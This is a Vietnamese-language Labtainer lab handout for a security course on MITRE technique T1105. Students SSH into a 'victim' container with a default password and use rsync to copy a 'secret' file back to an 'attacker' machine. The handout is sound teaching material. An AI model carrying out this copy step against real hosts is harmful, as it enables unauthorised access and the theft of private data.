T1105: Remote File Copy

1. **Mục đích**

Bài thực hành giúp sinh viên tìm hiểu cách công cụ **rsync** có thể bị khai thác để thực hiện **sao chép tệp từ xa** giữa hệ thống mục tiêu (Victim) và hệ thống tấn công (Attacker). Sinh viên sẽ thực hiện việc kết nối SSH và sử dụng **rsync** để sao chép tệp từ máy mục tiêu về máy tấn công, qua đó hiểu rõ cơ chế hoạt động của **rsync** và các rủi ro bảo mật tiềm ẩn khi cấu hình không an toàn.

Bài thực hành cung cấp kiến thức thực tế về cách thức các tác nhân độc hại lợi dụng **rsync** để chiếm đoạt dữ liệu hoặc duy trì kết nối với máy mục tiêu, đồng thời giúp sinh viên nắm vững kỹ thuật này trong quá trình tấn công và phòng thủ hệ thống.

2. **Yêu cầu đối với sinh viên**

Sinh viên cần có kiến thức cơ bản về:

- Hệ điều hành Linux và quản lý hệ thống.

- SSH để kết nối từ xa giữa hai hệ thống.

- Công cụ rsync và cách sử dụng lệnh để sao chép tệp từ xa.

- Kiến thức cơ bản về kiểm tra tệp/thư mục và xác minh tính toàn vẹn dữ liệu.

3. **Nội dung thực hành**

Khởi động bài lab:

Vào terminal, gõ:

Labtainer -r pen_tool_mitre_t1105

(chú ý: sinh viên sử dụng mã sinh viên của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu, để sử dụng khi chấm điểm)

Sau khi khởi động xong hai terminal ảo sẽ xuất hiện, một cái là đại diện cho máy tấn công: **attacker**, một cái là đại diện cho máy nạn nhân: **victim**.

Kiểm tra địa chỉ IP của hai máy bằng lệnh:

ifconfig

Trên terminal **attacker** thực hiện kết nối SSH đến máy **victim** với password 123456:

ssh ubuntu@ip_victim

Sau khi **attacker** dùng ssh kết nối thành công đến máy **victim,** thực hiện các bước tiếp theo**.**

Giả sử máy nạn nhân có một file secret có chứa nội dung muốn copy.

Kiểm tra nội dung file cần sao chép

cat secret

Sau khi xác định file cần sao chép, kết thúc phiên ssh, **attacker** sử dụng rsync sao chép file về máy **attacker.**

Rsync ubuntu@ip_victim:/home/ubuntu/secret /home/ubuntu

Sau khi sao chép thành công, **attacker** kiểm tra file đã sao chép được.

Kiểm tra kết quả:

Sinh viên sử dụng lệnh sau để thực hiện đánh giá kết quả tự động:

checkwork

Kết thúc bài lab:

Trên terminal đầu tiên sử dụng câu lệnh sau để kết thúc bài lab:

stoplab <tên bài lab>

Khi bài lab kết thúc, một tệp zip lưu kết quả được tạo và lưu vào một vị trí được hiển thị bên dưới stoplab.

Khởi động lại bài lab:

Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:

startlab –r <tên bài lab>